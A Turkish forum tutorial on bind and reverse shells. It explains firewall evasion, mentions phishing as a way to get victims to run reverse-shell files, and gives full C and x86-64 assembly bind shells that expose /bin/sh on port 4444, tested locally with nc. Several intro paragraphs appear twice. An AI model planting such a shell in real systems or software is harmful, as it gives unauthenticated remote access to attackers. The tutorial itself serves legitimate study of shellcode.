- 8 Nis 2020
- 221
- 73
Genel olarak bağlantı kurmak için, hedef cihazdan Shell alması için yaygın olarak kullanılan iki metot bulunmakta. Bind Shell olarak adlandırılan bağlantı şeklinde hedefte açık olarak beklemekte olan bir porta direk olarak bağlantı kurulmaktadır. Reverse bağlantıda ise kurban makinenin saldırganın bilgisayarındaki açık bir porta bağlanarak bu bağlantı ile shell’ini saldırgana açması söz konusudur.
Temel çalışma farkını anladıkdan sonra bir örnek ile pekiştirelim. Şöyle düşünün bir attacker ve victim olduğunu düşünün. Attacker'in bağlantı kurması gerekmekde ama şöyle bir sorun var dış ağdan
DMZ ağına gelen trafiğe 80 ve 443 numaralı portlardan erişime izin verilirken, iç ağdan dış ağa çıkan trafiğe 53, 80 ve 443 numaralı portlardan erişime izin verilebilir. Ancak, dış ağdan iç ağa gelen tüm istekler port bazlı olarak engellenmişse, güvenlik duvarı, iç ağdan dış ağa çıkmasına izin verilen portlardan birinden dış ağa bağlanıldığında bu bağlantıyı izler ve bu IP adresinden gelen isteklere izin verir. Bu özellik, güvenlik duvarının "stateful" olduğunu gösterir.
NAT arkasında olan ve dış ağdan gelen bağlantıların engellendiği bir senaryoda, firewall kurallarını atlatmak için "Reverse shell" kullanılır. Önemli olan noktalardan biri, bağlantının içeriden başlatılmasıdır, bu da kullanıcıyı bağlantı başlatmaya yönlendirecek tekniklerin kullanılmasını gerektirir. Bu teknikler, oltalama saldırıları gibi kullanıcıyı yanıltıcı taktikleri içerebilir. Burada dikkat edilmesi gereken bir diğer husus, içerisinde reverse shell bulunan bir dosyanın çalıştırılmasıdır. Umarım her şeyi daha iyi anlamışsınız.
Temel çalışma farkını anladıkdan sonra bir örnek ile pekiştirelim. Şöyle düşünün bir attacker ve victim olduğunu düşünün. Attacker'in bağlantı kurması gerekmekde ama şöyle bir sorun var dış ağdan
DMZ ağına gelen trafiğe 80 ve 443 numaralı portlardan erişime izin verilirken, iç ağdan dış ağa çıkan trafiğe 53, 80 ve 443 numaralı portlardan erişime izin verilebilir. Ancak, dış ağdan iç ağa gelen tüm istekler port bazlı olarak engellenmişse, güvenlik duvarı, iç ağdan dış ağa çıkmasına izin verilen portlardan birinden dış ağa bağlanıldığında bu bağlantıyı izler ve bu IP adresinden gelen isteklere izin verir. Bu özellik, güvenlik duvarının "stateful" olduğunu gösterir.
NAT arkasında olan ve dış ağdan gelen bağlantıların engellendiği bir senaryoda, firewall kurallarını atlatmak için "Reverse shell" kullanılır. Önemli olan noktalardan biri, bağlantının içeriden başlatılmasıdır, bu da kullanıcıyı bağlantı başlatmaya yönlendirecek tekniklerin kullanılmasını gerektirir. Bu teknikler, oltalama saldırıları gibi kullanıcıyı yanıltıcı taktikleri içerebilir. Burada dikkat edilmesi gereken bir diğer husus, içerisinde reverse shell bulunan bir dosyanın çalıştırılmasıdır. Umarım her şeyi daha iyi anlamışsınız.
Şuna kadar her şey "okay" ise BİND shell dediğimiz olaya daha derinden bakalım ve kodlayalım
Bir bind shell'in işlevlerini assembly diline çevirmek için, sürecin adımlarını gözden geçirelim.
(şuanlık basit düşünelim ilerleyen kısımlarda başka kavramlara değinmeye çalışacağım.)
- Socket oluşturma:
- Socket bağlama:
- Bağlantıları dinleme:
- Bağlantıyı kabul etme:
- Standart giriş/çıkışı kopyalama:
- Bir shell çalıştırma:
- Adımları anladığımıza göre devam edelim <3
C'de bu adımları şöyle göre bilirsiniz.
C:
#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
// This is our first syscall, the socket() call.
int listen_sock = socket(AF_INET, SOCK_STREAM, 0);
// It looks like here we're building a 'struct' which consists of AF_INET, the interface we want to listen on (all), and a port number to bind on. This entire entity will be referenced in arguments for the next syscall: bind()
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(5555);
// Our second syscall, and perhaps the most complicated: bind()
bind(listen_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
// Our third syscall is listen()
listen(listen_sock, 0);
// Our fourth syscall is accept()
int conn_sock = accept(listen_sock, NULL, NULL);
// Our fifth syscall, dup2(), is used 3 times
dup2(conn_sock, 0);
dup2(conn_sock, 1);
dup2(conn_sock, 2);
// Our final syscall is execve(), which runs a program fed to it as a string
execve("/bin/sh", NULL, NULL);
}
- Gelelim assembly kodlamaya.
Kod:
cat /usr/include/asm/unistd.h | grep soket
Başlatma:
- global _start: Bu komut, asembly'de _start sembolünün programın giriş noktası olduğunu söyler.
- rax: Sistem çağrısı numarası (41 - socket için).
- rdi: Adres ailesi (AF_INET - 2 olarak ayarlanır).
- rsi: Soket tipi (SOCK_STREAM - 1 olarak ayarlanır).
- rdx: Protokol (0 olarak ayarlanır).
- syscall talimatı, bir soket oluşturmak için sistem çağrısını tetikler.
- Soket tanımlayıcısı (syscall tarafından döndürülür) daha sonra rdi içinde saklanır.
- Kod, bind sistem çağrısı için veri yapısını hazırlar:
- server.sin_family: xor rax, rax kullanarak AF_INET (2) olarak ayarlanır.
- server.sin_port: Sabit kodlanmış port değeri (0x5c11 - muhtemelen değiştirilmesi gerekir).
- server.sin_addr.s_addr: INADDR_ANY (0x00000000) olarak ayarlanır.
- server.sin_zero: bzero işlevi kullanılarak sıfıra indirilir (xor ve push ile).
- Tüm yapı ters sırayla yığının üzerine itilir.
- Kod, bind sistem çağrısı için argümanları kurar:
- rax: Sistem çağrısı numarası (49 - bind için).
- rsi: Yığındaki sunucu yapısına işaretçi.
- rdx: Sunucu yapısının uzunluğu (16 bayt).
- syscall talimatı, soketi belirli bir IP adresi ve porta bağlamak için bind sistem çağrısını yürütür.
- Kod, listen sistem çağrısı için argümanları kurar:
- rax: Sistem çağrısı numarası (50 - listen için).
- rsi: Bekleme sırası (sıradaki maksimum bağlantı sayısı - 2 olarak ayarlanır).
- syscall talimatı, soketi dinleme moduna sokmak için listen sistem çağrısını yürütür.
- Kod, accept sistem çağrısına hazırlanır:
- rax: Sistem çağrısı numarası (43 - accept için).
- Yığın, istemci yapısı için yer ayırmak üzere ayarlanır.
- İstemci yapısı boyutunun bir yer tutucusu (16 bayt) itilir.
- Ayrılan alanın adresi rdx içinde saklanır.
- syscall talimatı, gelen bir bağlantı isteğini kabul etmek için accept sistem çağrısını yürütür.
- Yeni bağlantı için soket tanımlayıcısı r9 içinde saklanır.
- Kod, close sistem çağrısını kullanarak orijinal soketi kapatır:
- rax: Sistem çağrısı numarası (3 - close için).
- rdi: Orijinal soketin soket tanımlayıcısı (önceden elde edilmiştir).
- Kod, syscall'i üç kez kullanarak r9 socket tanımlayıcısını (istemci bağlantısını temsil eden) standart giriş (dosya tanımlayıcı 0), standart çıktı (dosya tanımlayıcı 1) ve standart hata (dosya tanımlayıcı 2)'ye kopyalamak için bir döngü gerçekleştirir.
- Döngü nasıl çalışır:
- mov rdi, r9 - Bu, rdi'yi istemci socket tanımlayıcısına (r9) ayarlar.
- mov rax, 33 - Bu, rax'ı dup2 (33 olan) sistem çağrısı numarasına ayarlar.
- mov rsi, <descriptor_number> - Bu, rsi'yi istemci socket tanımlayıcısını kopyalamak istediğimiz dosya tanımlayıcısına ayarlar. Döngü, standart giriş, çıktı ve hata için sırasıyla rsi'yi 0, 1 ve 2 değerlerine atar.
- syscall - Bu, istemci socket tanımlayıcısını belirtilen dosya tanımlayıcısına kopyalamak için sistem çağrısını başlatır.
- İstemci socket tanımlayıcısını standart giriş, çıktı ve hataya kopyalayarak program, istemciden alınan veya gönderilen herhangi bir verinin bu standart akışlar aracılığıyla işleneceğini garantiliyor. Bu, programın bağlı istemci ile iletişim kurmak için read ve write gibi standart G/Ç işlevlerini kullanmasına izin verir.
Şimdi, kod execve sistem çağrısını gerçekleştirmek için ön hazırlık yapıyor. Bu çağrı, yeni bir program yürütmek için kullanılır. Kod, yığın üzerine bir dizi argüman itiyor:
- execve için argümanları itme:
- xor rax, rax - Bu, rax kaydını sıfırlıyor.
- push rax - Yığın üzerine bir null değeri itiyor. Bu, execve için ortam argümanı olacaktır (genellikle bir dize dizisi olsa da burada boştur).
- mov rbx, 0x68732f2f6e69622f - Bu, "/bin//sh" (kabuk programı) adresini ters sırada rbx kaydına yükler.
- push rbx - Ters çevrilmiş kabuk programı adresini yığın üzerine iter.
- mov rdi, rsp - Bu, yığın işaretçisini (rsp) rdi kaydına aktarır. Bu, rdi'yi yığındaki "/bin//sh" dizisinin adresine işaret eder.
- push rax - Yığın üzerine bir başka null değeri iter. Bu, execve için argv[1] argümanı olacaktır (genellikle program için argümanlar listesi olsa da burada boştur).
Kod:
└─$ cat alixan.nasm
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 0
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0x2
sub rsp, 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
mov rax, 49
mov rsi, rsp
mov rdx, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
mov rax, 50
mov rsi, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
mov rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
mov rax, 3
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
mov rax, 33
mov rsi, 0
syscall
mov rax, 33
mov rsi, 1
syscall
mov rax, 33
mov rsi, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
Kod:
$ nasm -felf64 alixan.nasm -o alixan.o | Anlatdıklarımı şimdi gerçekleştirme zamani.
Kod:
─$ ld alixan.o -o alixan
- İlk adımda NASM (Netwide Assembler) kullanarak alixan.nasm dosyasını derleyeceğiz ve çıktıyı alixan.o dosyasına kaydedeceğiz
- Ardından, ld (Linker) kullanarak derlenmiş nesne dosyasını bağlayacağız ve çalıştırılabilir bir dosya oluşturacağız. Çıktıyı alixan adında bir dosyaya kaydedeceğiz
Kod:
─$ ./alixan
Kod:
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN
tcp 0 0 localhost:6010 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 192.168.48.131:ssh 192.168.48.1:4721 ESTABLISHED
tcp 0 0 192.168.48.131:ssh 192.168.48.1:4722 ESTABLISHED
tcp6 0 0 localhost:6010 [::]:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN
udp 0 0 192.168.48.131:bootpc 192.168.48.254:bootps ESTABLISHED
raw6 0 0 [::]:ipv6-icmp [::]:* 7
Kod:
└─$ nc localhost 4444
whoami
kali